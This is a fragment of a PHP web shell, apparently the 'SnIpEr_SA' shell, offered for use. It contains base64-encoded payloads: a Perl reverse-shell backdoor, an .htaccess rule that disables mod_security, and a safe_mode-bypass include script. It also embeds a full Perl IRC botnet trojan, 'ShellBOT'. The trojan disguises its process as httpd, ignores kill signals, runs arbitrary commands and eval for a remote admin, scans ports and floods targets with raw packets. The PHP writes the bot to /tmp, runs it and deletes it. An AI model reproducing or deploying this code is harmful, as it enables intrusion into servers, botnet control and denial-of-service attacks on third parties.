YQBfX2k2ODYuZ2V0X3BjX3RodW5rLmJ4AF9lbmQAc2VuZEBAR0xJQkNfMi4wAGh0b25zQEBHTElCQ18yLjAAX0lPX3N0ZGluX3VzZWQAX19kYXRhX3N0YXJ0AHNvY2tldEBAR0xJQkNfMi4wAF9Kdl9SZWdpc3RlckNsYXNzZXMAX19nbW9uX3N0YXJ0X18A"; +$back_connects="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KaWYgKCEkQVJHVlswXSkgew0KICBwcmludGYgIlVzYWdlOiAkMCBbSG9zdF0gPFBvcnQ+XG4iOw0KICBleGl0KDEpOw0KfQ0KcHJpbnQgIlsqXSBEdW1waW5nIEFyZ3VtZW50c1xuIjsNCiRob3N0ID0gJEFSR1ZbMF07DQokcG9ydCA9IDgwOw0KaWYgKCRBUkdWWzFdKSB7DQogICRwb3J0ID0gJEFSR1ZbMV07DQp9DQpwcmludCAiWypdIENvbm5lY3RpbmcuLi5cbiI7DQokcHJvdG8gPSBnZXRwcm90b2J5bmFtZSgndGNwJykgfHwgZGllKCJVbmtub3duIFByb3RvY29sXG4iKTsNCnNvY2tldChTRVJWRVIsIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCAkcHJvdG8pIHx8IGRpZSAoIlNvY2tldCBFcnJvclxuIik7DQpteSAkdGFyZ2V0ID0gaW5ldF9hdG9uKCRob3N0KTsNCmlmICghY29ubmVjdChTRVJWRVIsIHBhY2sgIlNuQTR4OCIsIDIsICRwb3J0LCAkdGFyZ2V0KSkgew0KICBkaWUoIlVuYWJsZSB0byBDb25uZWN0XG4iKTsNCn0NCnByaW50ICJbKl0gU3Bhd25pbmcgU2hlbGxcbiI7DQppZiAoIWZvcmsoICkpIHsNCiAgb3BlbihTVERJTiwiPiZTRVJWRVIiKTsNCiAgb3BlbihTVERPVVQsIj4mU0VSVkVSIik7DQogIG9wZW4oU1RERVJSLCI+JlNFUlZFUiIpOw0KICBwcmludCAiLS09PSBDb25uZWN0QmFjayBCYWNrZG9vciB2cyAxLjAgYnkgU25JcEVyX1NBIHNuaXBlci1zYS5jb20gPT0tLSAgXG5cbiI7IA0Kc3lzdGVtKCJ1bnNldCBISVNURklMRTsgdW5zZXQgU0FWRUhJU1QgO2VjaG8gLS09PVN5c3RlbWluZm89PS0tIDsgdW5hbWUgLWE7ZWNobzsNCmVjaG8gLS09PVVzZXJpbmZvPT0tLSA7IGlkO2VjaG87ZWNobyAtLT09RGlyZWN0b3J5PT0tLSA7IHB3ZDtlY2hvOyBlY2hvIC0tPT1TaGVsbD09LS0gIik7IA0KICBleGVjIHsnL2Jpbi9zaCd9ICctYmFzaCcgLiAiXDAiIHggNDsNCiAgZXhpdCgwKTsNCn0="; +$php_ini1="c2FmZV9tb2RlICAgICAgICAgICAgICAgPSAgICAgICBPZmY="; +$htacces="PElmTW9kdWxlIG1vZF9zZWN1cml0eS5jPg0KICAgIFNlY0ZpbHRlckVuZ2luZSBPZmYNCiAgICBTZWNGaWx0ZXJTY2FuUE9TVCBPZmYNCjwvSWZNb2R1bGU+"; +$sni_res="PD8NCmVjaG8gaW5pX2dldCgic2FmZV9tb2RlIik7DQplY2hvIGluaV9nZXQoIm9wZW5fYmFzZWRpciIpOw0KaW5jbHVkZSgkX0dFVFsiZmlsZSJdKTsNCmluaV9yZXN0b3JlKCJzYWZlX21vZGUiKTsNCmluaV9yZXN0b3JlKCJvcGVuX2Jhc2VkaXIiKTsNCmVjaG8gaW5pX2dldCgic2FmZV9tb2RlIik7DQplY2hvIGluaV9nZXQoIm9wZW5fYmFzZWRpciIpOw0KaW5jbHVkZSgkX0dFVFsic3MiXSk7DQo/Pg=="; + +if(!empty($_POST['ircadmin']) AND !empty($_POST['ircserver']) AND !empty($_POST['ircchanal']) AND !empty($_POST['ircname'])) +{ +$ircadmin=$_POST['ircadmin']; +$ircserver=$_POST['ircserver']; +$ircchan=$_POST['ircchanal']; +$irclabel=$_POST['ircname']; +echo "<title>OverclockiX Shell-Connector || Connecting to $ircserver<title>"; +echo "<body bgcolor=\"black\" text=\"green\">"; +echo "Now Connecting to <b><font color=\"red\">$ircserver</font></b> in <b><font color=\"yellow\">$ircchan</font></b> Andministrators: <b><font color=\"yellow\">$ircadmin</font></b> Botname is <b><font color=\"yellow\">$irclabel</font></b>"; +echo "<p>Dont Forget to Delete Loader.pl in /tmp</p>"; +####################################################### +######################IRC Trojan########################## +$file=" +################ CONFIGURACAO ################################################################# +my \$processo = '/usr/local/apache/bin/httpd -DSSL'; # Nome do processo que vai aparece no ps # +#----------------------------------------------################################################ +my \$linas_max='48'; # Evita o flood :) depois de X linhas # +#----------------------------------------------################################################ +my \$sleep='4'; # ele dorme X segundos # +##################### IRC ##################################################################### +my @adms=(\"$ircadmin\"); # Nick do administrador # +#----------------------------------------------################################################ +my @canais=(\"$ircchan\"); # Caso haja senha (\"#canal :senha\") # +#----------------------------------------------################################################ +my \$nick='$irclabel'; # Nick do bot. Caso esteja em uso vai aparecer # + # aparecer com numero radonamico no final # +#----------------------------------------------################################################ +my \$ircname = 'Linux'; # User ID # +#----------------------------------------------################################################ +chop (my \$realname = `uname -a`); # Full Name # +#----------------------------------------------################################################ +\$servidor='$ircserver' unless \$servidor; # Servidor de irc que vai ser usado # + # caso n�o seja especificado no argumento # +#----------------------------------------------################################################ +my \$porta='6667'; # Porta do servidor de irc # +################ ACESSO A SHELL ############################################################### +my \$secv = 1; # 1/0 pra habilita/desabilita acesso a shell # +############################################################################################### +my \$VERSAO = '0.2'; +\$SIG{'INT'} = 'IGNORE'; +\$SIG{'HUP'} = 'IGNORE'; +\$SIG{'TERM'} = 'IGNORE'; +\$SIG{'CHLD'} = 'IGNORE'; +\$SIG{'PS'} = 'IGNORE'; +\$SIG{'STOP'} = 'IGNORE'; +use IO::Socket; +use Socket; +use IO::Select; +chdir(\"/\"); +\$servidor=\"\$ARGV[0]\" if \$ARGV[0]; +$0=\"\$processo\".\"\0\"x16;; +my \$pid=fork; +exit if \$pid; +die \"Problema com o fork: $!\" unless defined(\$pid); +my \$dcc_sel = new IO::Select->new(); +############################# +# B0tchZ na veia ehehe :P # +############################# + +\$sel_cliente = IO::Select->new(); +sub sendraw { + if ($#_ == '1') { + my \$socket = \$_[0]; + print \$socket \"\$_[1]\\n\"; + } else { + print \$IRC_cur_socket \"\$_[0]\\n\"; + } +} +################################# +sub conectar { + my \$meunick = \$_[0]; + my \$servidor_con = \$_[1]; + my \$porta_con = \$_[2]; + + my \$IRC_socket = IO::Socket::INET->new(Proto=>\"tcp\", PeerAddr=>\"\$servidor_con\", PeerPort=>\$porta_con) or return(1); + if (defined(\$IRC_socket)) { + \$IRC_cur_socket = \$IRC_socket; + + \$IRC_socket->autoflush(1); + \$sel_cliente->add(\$IRC_socket); + + \$irc_servers{\$IRC_cur_socket}{'host'} = \"\$servidor_con\"; + \$irc_servers{\$IRC_cur_socket}{'porta'} = \"\$porta_con\"; + \$irc_servers{\$IRC_cur_socket}{'nick'} = \$meunick; + \$irc_servers{\$IRC_cur_socket}{'meuip'} = \$IRC_socket->sockhost; + nick(\"\$meunick\"); + sendraw(\"USER \$ircname \".\$IRC_socket->sockhost.\" \$servidor_con :\$realname\"); + sleep 1; + } +} ##################### + +my \$line_temp; +while( 1 ) { + while (!(keys(%irc_servers))) { conectar(\"\$nick\", \"\$servidor\", \"\$porta\"); } + delete(\$irc_servers{''}) if (defined(\$irc_servers{''})); + &DCC::connections; + my @ready = \$sel_cliente->can_read(0); + next unless(@ready); + foreach \$fh (@ready) { + \$IRC_cur_socket = \$fh; + \$meunick = \$irc_servers{\$IRC_cur_socket}{'nick'}; + \$nread = sysread(\$fh, \$msg, 4096); + if (\$nread == 0) { + \$sel_cliente->remove(\$fh); + \$fh->close; + delete(\$irc_servers{\$fh}); + } + @lines = split (/\\n/, \$msg); + + for(my \$c=0; \$c<= $#lines; \$c++) { + \$line = \$lines[\$c]; + \$line=\$line_temp.\$line if (\$line_temp); + \$line_temp=''; + \$line =~ s/\\r$//; + unless (\$c == $#lines) { + parse(\"\$line\"); + } else { + if ($#lines == 0) { + parse(\"\$line\"); + } elsif (\$lines[\$c] =~ /\\r$/) { + parse(\"\$line\"); + } elsif (\$line =~ /^(\S+) NOTICE AUTH :\*\*\*/) { + parse(\"\$line\"); + } else { + \$line_temp = \$line; + } + } + } + } +} + +######################### + + +sub parse { + my \$servarg = shift; + if (\$servarg =~ /^PING \:(.*)/) { + sendraw(\"PONG :$1\"); + } elsif (\$servarg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) { + my \$pn=$1; my \$onde = $4; my \$args = $5; + if (\$args =~ /^\\001VERSION\\001$/) { + notice(\"\$pn\", \"\\001VERSION ShellBOT-\$VERSAO por 0ldW0lf\\001\"); + } + if (grep {\$_ =~ /^\Q\$pn\E$/i } @adms) { + if (\$onde eq \"\$meunick\"){ + shell(\"\$pn\", \"\$args\"); + } + if (\$args =~ /^(\Q\$meunick\E|\!atrix)\s+(.*)/ ) { + my \$natrix = $1; + my \$arg = $2; + if (\$arg =~ /^\!(.*)/) { + ircase(\"\$pn\",\"\$onde\",\"\$1\") unless (\$natrix eq \"!atrix\" and \$arg =~ /^\!nick/); + } elsif (\$arg =~ /^\@(.*)/) { + \$ondep = \$onde; + \$ondep = \$pn if \$onde eq \$meunick; + bfunc(\"\$ondep\",\"$1\"); + } else { + shell(\"\$onde\", \"\$arg\"); + } + } + } + } elsif (\$servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) { + if (lc($1) eq lc(\$meunick)) { + \$meunick=$4; + \$irc_servers{\$IRC_cur_socket}{'nick'} = \$meunick; + } + } elsif (\$servarg =~ m/^\:(.+?)\s+433/i) { + nick(\"\$meunick\".int rand(9999)); + } elsif (\$servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) { + \$meunick = $2; + \$irc_servers{\$IRC_cur_socket}{'nick'} = \$meunick; + \$irc_servers{\$IRC_cur_socket}{'nome'} = \"$1\"; + foreach my \$canal (@canais) { + sendraw(\"JOIN \$canal\"); + } + } +} +########################## + +sub bfunc { + my \$printl = \$_[0]; + my \$funcarg = \$_[1]; + if (my \$pid = fork) { + waitpid(\$pid, 0); + } else { + if (fork) { + exit; + } else { + if (\$funcarg =~ /^portscan (.*)/) { + my \$hostip=\"$1\"; + my @portas=(\"21\",\"22\",\"23\",\"25\",\"53\",\"80\",\"110\",\"143\"); + my (@aberta, %porta_banner); + foreach my \$porta (@portas) { + my \$scansock = IO::Socket::INET->new(PeerAddr => \$hostip, PeerPort => \$porta, Proto => 'tcp', Timeout => 4); + if (\$scansock) { + push (@aberta, \$porta); + \$scansock->close; + } + } + + if (@aberta) { + sendraw(\$IRC_cur_socket, \"PRIVMSG \$printl :portas abertas: @aberta\"); + } else { + sendraw(\$IRC_cur_socket,\"PRIVMSG \$printl :Nenhuma porta aberta foi encontrada\"); + } + } + if (\$funcarg =~ /^pacota\s+(.*)\s+(\d+)\s+(\d+)/) { + my (\$dtime, %pacotes) = attacker(\"$1\", \"$2\", \"$3\"); + \$dtime = 1 if \$dtime == 0; + my %bytes; + \$bytes{igmp} = $2 * \$pacotes{igmp}; + \$bytes{icmp} = $2 * \$pacotes{icmp}; + \$bytes{o} = $2 * \$pacotes{o}; + \$bytes{udp} = $2 * \$pacotes{udp}; + \$bytes{tcp} = $2 * \$pacotes{tcp}; + + sendraw(\$IRC_cur_socket, \"PRIVMSG \$printl :\\002 - Status GERAL -\\002\"); + sendraw(\$IRC_cur_socket, \"PRIVMSG \$printl :\\002Tempo\\002: \$dtime\".\"s\"); + sendraw(\$IRC_cur_socket, \"PRIVMSG \$printl :\\002Total pacotes\\002: \".(\$pacotes{udp} + \$pacotes{igmp} + \$pacotes{icmp} + \$pacotes{o})); + sendraw(\$IRC_cur_socket, \"PRIVMSG \$printl :\\002Total bytes\\002: \".(\$bytes{icmp} + \$bytes {igmp} + \$bytes{udp} + \$bytes{o})); + sendraw(\$IRC_cur_socket, \"PRIVMSG \$printl :\\002M�dia de envio\\002: \".int(((\$bytes{icmp}+\$bytes{igmp}+\$bytes{udp} + \$bytes{o})/1024)/\$dtime).\" kbps\"); + + } + exit; + } + } +} +########################## + + +sub ircase { + my (\$kem, \$printl, \$case) = @_; + + + if (\$case =~ /^join (.*)/) { + j(\"$1\"); + } + if (\$case =~ /^part (.*)/) { + p(\"$1\"); + } + if (\$case =~ /^rejoin\s+(.*)/) { + my \$chan = $1; + if (\$chan =~ /^(\d+) (.*)/) { + for (my \$ca = 1; \$ca <= $1; \$ca++ ) { + p(\"$2\"); + j(\"$2\"); + } + } else { + p(\"\$chan\"); + j(\"\$chan\"); + } + } + if (\$case =~ /^op/) { + op(\"\$printl\", \"\$kem\") if \$case eq \"op\"; + my \$oarg = substr(\$case, 3); + op(\"$1\", \"$2\") if (\$oarg =~ /(\S+)\s+(\S+)/); + } + if (\$case =~ /^deop/) { + deop(\"\$printl\", \"\$kem\") if \$case eq \"deop\"; + my \$oarg = substr(\$case, 5); + deop(\"$1\", \"$2\") if (\$oarg =~ /(\S+)\s+(\S+)/); + } + if (\$case =~ /^voice/) { + voice(\"\$printl\", \"\$kem\") if \$case eq \"voice\"; + \$oarg = substr(\$case, 6); + voice(\"$1\", \"$2\") if (\$oarg =~ /(\S+)\s+(\S+)/); + } + if (\$case =~ /^devoice/) { + devoice(\"\$printl\", \"\$kem\") if \$case eq \"devoice\"; + \$oarg = substr(\$case, 8); + devoice(\"$1\", \"$2\") if (\$oarg =~ /(\S+)\s+(\S+)/); + } + if (\$case =~ /^msg\s+(\S+) (.*)/) { + msg(\"$1\", \"$2\"); + } + if (\$case =~ /^flood\s+(\d+)\s+(\S+) (.*)/) { + for (my \$cf = 1; \$cf <= $1; \$cf++) { + msg(\"$2\", \"$3\"); + } + } + if (\$case =~ /^ctcp\s+(\S+) (.*)/) { + ctcp(\"$1\", \"$2\"); + } + if (\$case =~ /^ctcpflood\s+(\d+)\s+(\S+) (.*)/) { + for (my \$cf = 1; \$cf <= $1; \$cf++) { + ctcp(\"$2\", \"$3\"); + } + } + if (\$case =~ /^invite\s+(\S+) (.*)/) { + invite(\"$1\", \"$2\"); + } + if (\$case =~ /^nick (.*)/) { + nick(\"$1\"); + } + if (\$case =~ /^conecta\s+(\S+)\s+(\S+)/) { + conectar(\"$2\", \"$1\", 6667); + } + if (\$case =~ /^send\s+(\S+)\s+(\S+)/) { + DCC::SEND(\"$1\", \"$2\"); + } + if (\$case =~ /^raw (.*)/) { + sendraw(\"$1\"); + } + if (\$case =~ /^eval (.*)/) { + eval \"$1\"; + } +} +########################## + +sub shell { + return unless \$secv; + my \$printl=\$_[0]; + my \$comando=\$_[1]; + if (\$comando =~ /cd (.*)/) { + chdir(\"$1\") || msg(\"\$printl\", \"Dossier Makayench :D \"); + return; + } + elsif (\$pid = fork) { + waitpid(\$pid, 0); + } else { + if (fork) { + exit; + } else { + my @resp=`\$comando 2>&1 3>&1`; + my \$c=0; + foreach my \$linha (@resp) { + \$c++; + chop \$linha; + sendraw(\$IRC_cur_socket, \"PRIVMSG \$printl :\$linha\"); + if (\$c == \"\$linas_max\") { + \$c=0; + sleep \$sleep; + } + } + exit; + } + } +} + +#eu fiz um pacotadorzinhu e talz.. dai colokemo ele aki +sub attacker { + my \$iaddr = inet_aton(\$_[0]); + my \$msg = 'B' x \$_[1]; + my \$ftime = \$_[2]; + my \$cp = 0; + my (%pacotes); + \$pacotes{icmp} = \$pacotes{igmp} = \$pacotes{udp} = \$pacotes{o} = \$pacotes{tcp} = 0; + + socket(SOCK1, PF_INET, SOCK_RAW, 2) or \$cp++; + socket(SOCK2, PF_INET, SOCK_DGRAM, 17) or \$cp++; + socket(SOCK3, PF_INET, SOCK_RAW, 1) or \$cp++; + socket(SOCK4, PF_INET, SOCK_RAW, 6) or \$cp++; + return(undef) if \$cp == 4; + my \$itime = time; + my (\$cur_time); + while ( 1 ) { + for (my \$porta = 1; \$porta <= 65535; \$porta++) { + \$cur_time = time - \$itime; + last if \$cur_time >= \$ftime; + send(SOCK1, \$msg, 0, sockaddr_in(\$porta, \$iaddr)) and \$pacotes{igmp}++; + send(SOCK2, \$msg, 0, sockaddr_in(\$porta, \$iaddr)) and \$pacotes{udp}++; + send(SOCK3, \$msg, 0, sockaddr_in(\$porta, \$iaddr)) and \$pacotes{icmp}++; + send(SOCK4, \$msg, 0, sockaddr_in(\$porta, \$iaddr)) and \$pacotes{tcp}++; + + # DoS ?? :P + for (my \$pc = 3; \$pc <= 255;\$pc++) { + next if \$pc == 6; + \$cur_time = time - \$itime; + last if \$cur_time >= \$ftime; + socket(SOCK5, PF_INET, SOCK_RAW, \$pc) or next; + send(SOCK5, \$msg, 0, sockaddr_in(\$porta, \$iaddr)) and \$pacotes{o}++;; + } + } + last if \$cur_time >= \$ftime; + } + return(\$cur_time, %pacotes); +} + +############# +# ALIASES # +############# + +sub action { + return unless $#_ == 1; + sendraw(\"PRIVMSG \$_[0] :\\001ACTION \$_[1]\\001\"); +} + +sub ctcp { + return unless $#_ == 1; + sendraw(\"PRIVMSG \$_[0] :\\001\$_[1]\\001\"); +} +sub msg { + return unless $#_ == 1; + sendraw(\"PRIVMSG \$_[0] :\$_[1]\"); +} + +sub notice { + return unless $#_ == 1; + sendraw(\"NOTICE \$_[0] :\$_[1]\"); +} + +sub op { + return unless $#_ == 1; + sendraw(\"MODE \$_[0] +o \$_[1]\"); +} +sub deop { + return unless $#_ == 1; + sendraw(\"MODE \$_[0] -o \$_[1]\"); +} +sub hop { + return unless $#_ == 1; + sendraw(\"MODE \$_[0] +h \$_[1]\"); +} +sub dehop { + return unless $#_ == 1; + sendraw(\"MODE \$_[0] +h \$_[1]\"); +} +sub voice { + return unless $#_ == 1; + sendraw(\"MODE \$_[0] +v \$_[1]\"); +} +sub devoice { + return unless $#_ == 1; + sendraw(\"MODE \$_[0] -v \$_[1]\"); +} +sub ban { + return unless $#_ == 1; + sendraw(\"MODE \$_[0] +b \$_[1]\"); +} +sub unban { + return unless $#_ == 1; + sendraw(\"MODE \$_[0] -b \$_[1]\"); +} +sub kick { + return unless $#_ == 1; + sendraw(\"KICK \$_[0] \$_[1] :\$_[2]\"); +} + +sub modo { + return unless $#_ == 0; + sendraw(\"MODE \$_[0] \$_[1]\"); +} +sub mode { modo(@_); } + +sub j { &join(@_); } +sub join { + return unless $#_ == 0; + sendraw(\"JOIN \$_[0]\"); +} +sub p { part(@_); } +sub part {sendraw(\"PART \$_[0]\");} + +sub nick { + return unless $#_ == 0; + sendraw(\"NICK \$_[0]\"); +} + +sub invite { + return unless $#_ == 1; + sendraw(\"INVITE \$_[1] \$_[0]\"); +} +sub topico { + return unless $#_ == 1; + sendraw(\"TOPIC \$_[0] \$_[1]\"); +} +sub topic { topico(@_); } + +sub whois { + return unless $#_ == 0; + sendraw(\"WHOIS \$_[0]\"); +} +sub who { + return unless $#_ == 0; + sendraw(\"WHO \$_[0]\"); +} +sub names { + return unless $#_ == 0; + sendraw(\"NAMES \$_[0]\"); +} +sub away { + sendraw(\"AWAY \$_[0]\"); +} +sub back { away(); } +sub quit { + sendraw(\"QUIT :\$_[0]\"); +} + +# DCC +######################### + +package DCC; + +sub connections { + my @ready = \$dcc_sel->can_read(1); +# return unless (@ready); + foreach my \$fh (@ready) { + my \$dcctipo = \$DCC{\$fh}{tipo}; + my \$arquivo = \$DCC{\$fh}{arquivo}; + my \$bytes = \$DCC{\$fh}{bytes}; + my \$cur_byte = \$DCC{\$fh}{curbyte}; + my \$nick = \$DCC{\$fh}{nick}; + + + my \$msg; + my \$nread = sysread(\$fh, \$msg, 10240); + + if (\$nread == 0 and \$dcctipo =~ /^(get|sendcon)$/) { + \$DCC{\$fh}{status} = \"Cancelado\"; + \$DCC{\$fh}{ftime} = time; + \$dcc_sel->remove(\$fh); + \$fh->close; + next; + } + + if (\$dcctipo eq \"get\") { + \$DCC{\$fh}{curbyte} += length(\$msg); + + my \$cur_byte = \$DCC{\$fh}{curbyte}; + + open(FILE, \">> \$arquivo\"); + print FILE \"\$msg\" if (\$cur_byte <= \$bytes); + close(FILE); + + my \$packbyte = pack(\"N\", \$cur_byte); + print \$fh \"\$packbyte\"; + + + if (\$bytes == \$cur_byte) { + \$dcc_sel->remove(\$fh); + \$fh->close; + \$DCC{\$fh}{status} = \"Recebido\"; + \$DCC{\$fh}{ftime} = time; + next; + } + } elsif (\$dcctipo eq \"send\") { + my \$send = \$fh->accept; + \$send->autoflush(1); + \$dcc_sel->add(\$send); + \$dcc_sel->remove(\$fh); + \$DCC{\$send}{tipo} = 'sendcon'; + \$DCC{\$send}{itime} = time; + \$DCC{\$send}{nick} = \$nick; + \$DCC{\$send}{bytes} = \$bytes; + \$DCC{\$send}{curbyte} = 0; + \$DCC{\$send}{arquivo} = \$arquivo; + \$DCC{\$send}{ip} = \$send->peerhost; + \$DCC{\$send}{porta} = \$send->peerport; + \$DCC{\$send}{status} = \"Enviando\"; + #de cara manda os primeiro 1024 bytes do arkivo.. o resto fik com o sendcon + open(FILE, \"< \$arquivo\"); + my \$fbytes; + read(FILE, \$fbytes, 1024); + print \$send \"\$fbytes\"; + close FILE; +# delete(\$DCC{\$fh}); +} elsif (\$dcctipo eq 'sendcon') { + my \$bytes_sended = unpack(\"N\", \$msg); + \$DCC{\$fh}{curbyte} = \$bytes_sended; + if (\$bytes_sended == \$bytes) { + \$fh->close; + \$dcc_sel->remove(\$fh); + \$DCC{\$fh}{status} = \"Enviado\"; + \$DCC{\$fh}{ftime} = time; + next; + } + open(SENDFILE, \"< \$arquivo\"); + seek(SENDFILE, \$bytes_sended, 0); + my \$send_bytes; + read(SENDFILE, \$send_bytes, 1024); + print \$fh \"\$send_bytes\"; + close(SENDFILE); + } + } +} +########################## + +sub SEND { + my (\$nick, \$arquivo) = @_; + unless (-r \"\$arquivo\") { + return(0); + } + + my \$dccark = \$arquivo; + \$dccark =~ s/[.*\/](\S+)/$1/; + + my \$meuip = $::irc_servers{\"$::IRC_cur_socket\"}{'meuip'}; + my \$longip = unpack(\"N\",inet_aton(\$meuip)); + + my @filestat = stat(\$arquivo); + my \$size_total=\$filestat[7]; + if (\$size_total == 0) { + return(0); + } + + my (\$porta, \$sendsock); + do { + \$porta = int rand(64511); + \$porta += 1024; + \$sendsock = IO::Socket::INET->new(Listen=>1, LocalPort =>\$porta, Proto => 'tcp') and \$dcc_sel->add(\$sendsock); + } until \$sendsock; + + \$DCC{\$sendsock}{tipo} = 'send'; + \$DCC{\$sendsock}{nick} = \$nick; + \$DCC{\$sendsock}{bytes} = \$size_total; + \$DCC{\$sendsock}{arquivo} = \$arquivo; + + &::ctcp(\"\$nick\", \"DCC SEND \$dccark \$longip \$porta \$size_total\"); + +} + +sub GET { + my (\$arquivo, \$dcclongip, \$dccporta, \$bytes, \$nick) = @_; + return(0) if (-e \"\$arquivo\"); + if (open(FILE, \"> \$arquivo\")) { + close FILE; + } else { + return(0); + } + + my \$dccip=fixaddr(\$dcclongip); + return(0) if (\$dccporta < 1024 or not defined \$dccip or \$bytes < 1); + my \$dccsock = IO::Socket::INET->new(Proto=>\"tcp\", PeerAddr=>\$dccip, PeerPort=>\$dccporta, Timeout=>15) or return (0); + \$dccsock->autoflush(1); + \$dcc_sel->add(\$dccsock); + \$DCC{\$dccsock}{tipo} = 'get'; + \$DCC{\$dccsock}{itime} = time; + \$DCC{\$dccsock}{nick} = \$nick; + \$DCC{\$dccsock}{bytes} = \$bytes; + \$DCC{\$dccsock}{curbyte} = 0; + \$DCC{\$dccsock}{arquivo} = \$arquivo; + \$DCC{\$dccsock}{ip} = \$dccip; + \$DCC{\$dccsock}{porta} = \$dccporta; + \$DCC{\$dccsock}{status} = \"Recebendo\"; +} +############################ +# po fico xato de organiza o status.. dai fiz ele retorna o status de acordo com o socket.. dai o ADM.pl lista os sockets e faz as perguntas +sub Status { + my \$socket = shift; + my \$sock_tipo = \$DCC{\$socket}{tipo}; + unless (lc(\$sock_tipo) eq \"chat\") { + my \$nick = \$DCC{\$socket}{nick}; + my \$arquivo = \$DCC{\$socket}{arquivo}; + my \$itime = \$DCC{\$socket}{itime}; + my \$ftime = time; + my \$status = \$DCC{\$socket}{status}; + \$ftime = \$DCC{\$socket}{ftime} if defined(\$DCC{\$socket}{ftime}); + + my \$d_time = \$ftime-\$itime; + + my \$cur_byte = \$DCC{\$socket}{curbyte}; + my \$bytes_total = \$DCC{\$socket}{bytes}; + + my \$rate = 0; + \$rate = (\$cur_byte/1024)/\$d_time if \$cur_byte > 0; + my \$porcen = (\$cur_byte*100)/\$bytes_total; + + my (\$r_duv, \$p_duv); + if (\$rate =~ /^(\d+)\.(\d)(\d)(\d)/) { + \$r_duv = $3; \$r_duv++ if $4 >= 5; + \$rate = \"$1\.$2\".\"\$r_duv\"; + } + if (\$porcen =~ /^(\d+)\.(\d)(\d)(\d)/) { + \$p_duv = $3; \$p_duv++ if $4 >= 5; + \$porcen = \"$1\.$2\".\"\$p_duv\"; + } + return(\"\$sock_tipo\",\"\$status\",\"\$nick\",\"\$arquivo\",\"\$bytes_total\", \"\$cur_byte\",\"\$d_time\", \"\$rate\", \"\$porcen\"); + } + + return(0); +} + +# esse 'sub fixaddr' daki foi pego do NET::IRC::DCC identico soh copiei e coloei (colokar nome do autor) +sub fixaddr { + my (\$address) = @_; + + chomp \$address; # just in case, sigh. + if (\$address =~ /^\d+$/) { + return inet_ntoa(pack \"N\", \$address); + } elsif (\$address =~ /^[12]?\d{1,2}\.[12]?\d{1,2}\.[12]?\d{1,2}\.[12]?\d{1,2}$/) { + return \$address; + } elsif (\$address =~ tr/a-zA-Z//) { # Whee! Obfuscation! + return inet_ntoa(((gethostbyname(\$address))[4])[0]); + } else { + return; + } +} +############################ +"; +$bot = "/tmp/ircs.pl"; +$open = fopen($bot,"w"); +fputs($open,$file); +fclose($open); +$cmd="perl $bot"; +$cmd2="rm $bot"; +system($cmd); +system($cmd2); +$_POST['cmd']="echo \"Now script try connect to ircserver ...\""; + +} + +if($unix) + { + if(!isset($_COOKIE['uname'])) { $uname = ex('uname -a'); setcookie('uname',$uname); } else { $uname = $_COOKIE['uname']; } + if(!isset($_COOKIE['id'])) { $id = ex('id'); setcookie('id',$id); } else { $id = $_COOKIE['id']; } + if($safe_mode) { $sysctl = '-'; } + else if(isset($_COOKIE['sysctl'])) { $sysctl = $_COOKIE['sysctl']; } + else + { + $sysctl = ex('sysctl -n kern.ostype && sysctl -n kern.osrelease'); + if(empty($sysctl)) { $sysctl = ex('sysctl -n kernel.ostype && sysctl -n kernel.osrelease'); } + if(empty($sysctl)) { $sysctl = '-'; } + setcookie('sysctl',$sysctl); + } + } +echo $head; +echo '</head>'; +if(empty($_POST['cmd'])) { +$serv = array(127,192,172,10); +$addr=@explode('.', $_SERVER['SERVER_ADDR']); +$current_version = str_replace('.','',$version); +if (!in_array($addr[0], $serv)) { +@print "<img src=\"http://127.0.0.1/version.php?img=1&version=".$current_version."\" border=0 height=0 width=0>"; +@readfile ("http://127.0.0.1/version.php?version=".$current_version."");}} +echo '<body><table width=100% cellpadding=0 cellspacing=0 bgcolor=#CCCCCC><tr><td bgcolor=#000000 width=160><font face=Comic Sans MS size=4>'.ws(2).'<DIV dir=ltr align=center><font face=Wingdings size=3><b>N</b></font><b>'.ws(2).'<DIV dir=ltr align=center><SPAN +style="FILTER: blur(add=1,direction=10,strength=25); HEIGHT: 25px"> +<SPAN +style="FONT-SIZE: 15pt; COLOR: white; FONT-FAMILY: Impact">SnIpEr_SA</P></SPAN></DIV></font></b></font></td><td bgcolor=#000000><font face=tahoma size=1>'; +echo ws(2)."<b>".date ("d-m-Y H:i:s")."</b>"; +echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."? title=\"".$lang[$language.'_text46']."\"><b>��������</b></a> ".$rb; +echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?sqlman title=\"".$lang[$language.'_text46']."\"><b>SQL</b></a> ".$rb; +echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?phpinfo title=\"".$lang[$language.'_text46']."\"><b>phpinfo</b></a> ".$rb; +echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?phpini title=\"".$lang[$language.'_text47']."\"><b>php.ini</b></a> ".$rb; +if($unix) + { + echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?cpu title=\"".$lang[$language.'_text50']."\"><b>cpu</b></a> ".$rb; + echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?mem title=\"".$lang[$language.'_text51']."\"><b>mem</b></a> ".$rb; + echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?users title=\"".$lang[$language.'_text95']."\"><b>users</b></a> ".$rb; + } +echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?tmp title=\"".$lang[$language.'_text48']."\"><b>tmp</b></a> ".$rb; +echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?delete title=\"".$lang[$language.'_text49']."\"><b>delete</b></a> ".$rb."<br>"; +echo ws(2)."����� �����: <b>"; +echo (($safe_mode)?("<font color=#008000>����</font>"):("<font color=red>��� ����</font>")); +echo "</b>".ws(2); +echo "����� ���� ��� ��: <b>".@phpversion()."</b>"; +$curl_on = @function_exists('curl_version'); +echo ws(2); +echo "������: <b>".(($curl_on)?("<font color=#008000>����</font>"):("<font color=red>��� ����</font>")); +echo "</b>".ws(2); +echo "��� ���: <b>"; +$mysql_on = @function_exists('mysql_connect'); +if($mysql_on){ +echo "<font color=#008000>����</font>"; } else { echo "<font color=red>��� ����</font>"; } +echo "</b>".ws(2); +echo "�� �� 